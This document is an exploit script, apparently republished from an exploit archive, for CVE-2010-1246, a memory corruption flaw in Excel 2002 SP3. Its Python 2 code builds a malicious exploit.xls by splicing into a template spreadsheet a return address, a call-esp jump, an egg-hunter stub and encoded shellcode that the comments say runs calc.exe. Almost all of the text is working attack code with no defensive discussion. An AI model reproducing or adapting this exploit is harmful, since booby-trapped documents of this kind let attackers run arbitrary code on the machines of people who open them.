Excel RTD Memory Corruption

===========================
Excel RTD Memory Corruption
===========================

  Title             :  Excel RTD Memory Corruption
  Version           :  Excel 2002 sp3
  Analysis          :  http://www.abysssec.com
  Vendor            :  http://www.microsoft.com
  Impact            :  Critical
  Contact           :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           :  @abysssec
  CVE               :  CVE-2010-1246
  MOAUB Number      :  MOAUB_10_BA
'''
 
 
 
import sys
 
def main():
    
    try:
        fdR = open('src.xls', 'rb+')
        strTotal = fdR.read()
        str1 = strTotal[:4509]
        str2 = strTotal[5013:15000]
        str3 = strTotal[15800:]
         
        eip = "\xAd\x57\x00\x30"    # pop pop ret
        jmp = "\xF7\xC2\x03\x30"    # call esp
         
        #Egg Hunter
        eggHunter = ""
        eggHunter += "\x90\x90\x90"
        eggHunter += "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x8A\xD8\x80\xFB\x05\x5A\x74\xEC\xB8\x63"
        eggHunter += "\x70\x74\x6e\x8B\xFA\xAF\x75\xE7\xAF\x75\xE4\xFF\xE7"    
         
        # shellcode calc.exe
        shellcode = '\x63\x70\x74\x6e\x63\x70\x74\x6e\x90\x90\x90\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41'
         
        if len(eggHunter) > 266:
            print "[*] Error : Shellcode length is long"
            return
        if len(eggHunter) <=266:
            dif =266 - len(eggHunter)
            while dif > 0 :
                eggHunter += '\x90'
                dif = dif - 1
                 
                 
        if len(shellcode) > 800:
            print "[*] Error : Shellcode length is long"
            return
        if len(shellcode) <= 800:
            dif = 800 - len(shellcode)
            while dif > 0 :
                shellcode += '\x90'
                dif = dif - 1
                 
        fdW= open('exploit.xls', 'wb+')
        fdW.write(str1)
        fdW.write("\x41\x41\x41")    # padding
        fdW.write(jmp)
        fdW.write(eggHunter)               
        fdW.write("\xeb\x06\x41\x41")  
        fdW.write(eip)
        fdW.write("\x81\xc4\x24\x16\x00\x00")  # add esp,2016
        fdW.write("\xc3")  #ret
         
        i = 0
        while i < 54 :
            fdW.write("\x41\x41\x41\x41")    # padding
            i = i + 1
             
        fdW.write(str2)
        fdW.write(shellcode)
        fdW.write(str3)
         
        fdW.close()
        fdR.close()
        print '[-] Excel file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                 
if __name__ == '__main__':
    main()



#  0day.today [2018-01-02]  #